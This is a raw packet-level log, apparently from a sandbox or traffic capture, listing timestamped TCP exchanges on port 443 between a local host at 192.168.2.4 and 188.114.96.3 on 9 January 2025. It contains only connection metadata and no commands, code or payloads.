Jan 9, 2025 08:30:09.999648094 CET	443	50181	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:09.999686003 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.000714064 CET	50181	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.002191067 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.002224922 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.002284050 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.002585888 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.002604961 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.471568108 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.473856926 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.473880053 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.606975079 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.607027054 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.607048988 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.607069969 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.607083082 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.607115030 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.607167006 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.607176065 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.607192039 CET	443	50182	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.607213020 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.607238054 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.608426094 CET	50182	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.609527111 CET	50183	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.609564066 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:10.609631062 CET	50183	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.609997034 CET	50183	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:10.610014915 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.083053112 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.085077047 CET	50183	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.085093975 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.229315996 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.229371071 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.229401112 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.229428053 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.229456902 CET	50183	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.229473114 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.229502916 CET	50183	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.229536057 CET	443	50183	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.229593039 CET	50183	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.231558084 CET	50183	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.234879971 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.234929085 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.235025883 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.235392094 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.235408068 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.691333055 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.695432901 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.695456982 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.823719025 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.823771954 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.823801994 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.823827028 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.823843956 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.823857069 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.823893070 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.823911905 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.823954105 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.823960066 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.823975086 CET	443	50184	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.824016094 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.888953924 CET	50184	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.944617987 CET	50185	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.944665909 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:11.944736004 CET	50185	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.945208073 CET	50185	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:11.945224047 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.427673101 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.429858923 CET	50185	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:12.429882050 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.563394070 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.563436985 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.563463926 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.563478947 CET	50185	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:12.563493013 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.563504934 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.563532114 CET	50185	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:12.563591957 CET	443	50185	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.563640118 CET	50185	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:12.564496994 CET	50185	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:12.565612078 CET	50186	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:12.565644979 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:12.565710068 CET	50186	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:12.565995932 CET	50186	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:12.566004992 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.040205002 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.045381069 CET	50186	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.045409918 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.186158895 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.186222076 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.186249971 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.186290979 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.186352968 CET	50186	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.186393023 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.186408043 CET	443	50186	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.186449051 CET	50186	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.186486006 CET	50186	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.188354015 CET	50187	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.188364029 CET	50186	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.188410044 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.188827038 CET	50187	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.189367056 CET	50187	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.189399958 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.644156933 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.645940065 CET	50187	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.645976067 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.786633015 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.786684990 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.786712885 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.786744118 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.786751032 CET	50187	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.786773920 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.786799908 CET	50187	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.786855936 CET	443	50187	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.787653923 CET	50187	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.788692951 CET	50187	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.790411949 CET	50188	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.790462971 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:13.790549994 CET	50188	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.790777922 CET	50188	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:13.790790081 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.243925095 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.245465040 CET	50188	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.245497942 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.410140991 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.410200119 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.410229921 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.410259008 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.410269976 CET	50188	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.410317898 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.410334110 CET	50188	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.410376072 CET	443	50188	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.410413027 CET	50188	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.441859961 CET	50188	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.443258047 CET	50189	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.443321943 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.443403006 CET	50189	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.443660975 CET	50189	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.443670988 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.907819033 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:14.911376953 CET	50189	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:14.911403894 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.030910015 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.030967951 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.030998945 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.031027079 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.031038046 CET	50189	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.031064034 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.031080008 CET	50189	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.032392025 CET	443	50189	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.032486916 CET	50189	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.032819033 CET	50189	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.034112930 CET	50190	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.034168005 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.034245014 CET	50190	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.034527063 CET	50190	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.034543037 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.519028902 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.521753073 CET	50190	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.521783113 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.657490969 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.657543898 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.657577991 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.657608986 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.657641888 CET	50190	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.657675028 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.657691956 CET	50190	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.659620047 CET	443	50190	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.659756899 CET	50190	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.660067081 CET	50190	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.661067963 CET	50191	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.661115885 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:15.661218882 CET	50191	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.661575079 CET	50191	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:15.661592007 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.134906054 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.136544943 CET	50191	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.136574030 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.281016111 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.281063080 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.281091928 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.281120062 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.281119108 CET	50191	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.281146049 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.281160116 CET	50191	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.281224012 CET	443	50191	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.281263113 CET	50191	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.285382032 CET	50191	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.285383940 CET	50192	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.285437107 CET	443	50192	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.285509109 CET	50192	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.285809040 CET	50192	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.285820961 CET	443	50192	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.427006006 CET	50192	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.429610968 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.429672003 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.429738998 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.430110931 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.430123091 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.467334986 CET	443	50192	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.761687040 CET	443	50192	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.761818886 CET	443	50192	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.761930943 CET	50192	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.761930943 CET	50192	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.889081955 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.889199018 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.894573927 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.894582033 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.894820929 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:16.899472952 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:16.947328091 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.012207031 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.012258053 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.012284040 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.012310982 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.012350082 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.012377024 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.012401104 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.012408018 CET	443	50193	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.013155937 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.013456106 CET	50193	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.015393972 CET	50194	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.015444040 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.015625954 CET	50194	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.020070076 CET	50194	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.020103931 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.496815920 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.502973080 CET	50194	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.503004074 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.641587019 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.641634941 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.641668081 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.641704082 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.641753912 CET	50194	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.641784906 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.641808033 CET	443	50194	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.641808987 CET	50194	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.641957045 CET	50194	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.643044949 CET	50194	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.644769907 CET	50195	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.644817114 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:17.645101070 CET	50195	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.645673037 CET	50195	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:17.645685911 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.100255966 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.102641106 CET	50195	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.102684975 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.230756044 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.230812073 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.230842113 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.230869055 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.230876923 CET	50195	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.230909109 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.230921030 CET	50195	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.230971098 CET	443	50195	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.231015921 CET	50195	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.232296944 CET	50195	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.233783007 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.233839035 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.233906031 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.234338999 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.234355927 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.688822031 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.691015959 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.691042900 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.823983908 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.824028969 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.824054003 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.824076891 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.824079990 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.824105978 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.824157000 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.824163914 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.824198008 CET	443	50196	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.824215889 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.824246883 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.824780941 CET	50196	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.825748920 CET	50197	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.825804949 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:18.825870991 CET	50197	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.826081038 CET	50197	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:18.826097965 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.280349970 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.282989979 CET	50197	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.283025026 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.404690027 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.404747963 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.404777050 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.404808998 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.404943943 CET	443	50197	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.405050039 CET	50197	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.405771017 CET	50197	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.409384966 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.409436941 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.413456917 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.417392015 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.417417049 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.872819901 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.875449896 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.875483990 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996498108 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996560097 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996601105 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996602058 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.996632099 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996664047 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.996668100 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996679068 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996721029 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.996726990 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996762037 CET	443	50198	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.996799946 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.997714996 CET	50198	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.998802900 CET	50199	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.998855114 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:19.998919964 CET	50199	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.999191046 CET	50199	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:19.999207020 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.474334002 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.476126909 CET	50199	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:20.476162910 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.617624998 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.617671967 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.617701054 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.617717028 CET	50199	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:20.617734909 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.617747068 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.617772102 CET	50199	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:20.617841959 CET	443	50199	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.617896080 CET	50199	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:20.618860006 CET	50199	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:20.620034933 CET	50200	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:20.620095015 CET	443	50200	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:20.620284081 CET	50200	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:20.620486975 CET	50200	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:20.620505095 CET	443	50200	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.094405890 CET	443	50200	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.099112034 CET	50200	443	192.168.2.4	188.114.96.3
Jan 9, 2025 08:30:21.099143982 CET	443	50200	188.114.96.3	192.168.2.4
Jan 9, 2025 08:30:21.220299006 CET	443	50200	188.114.96.3	192.168.2.4
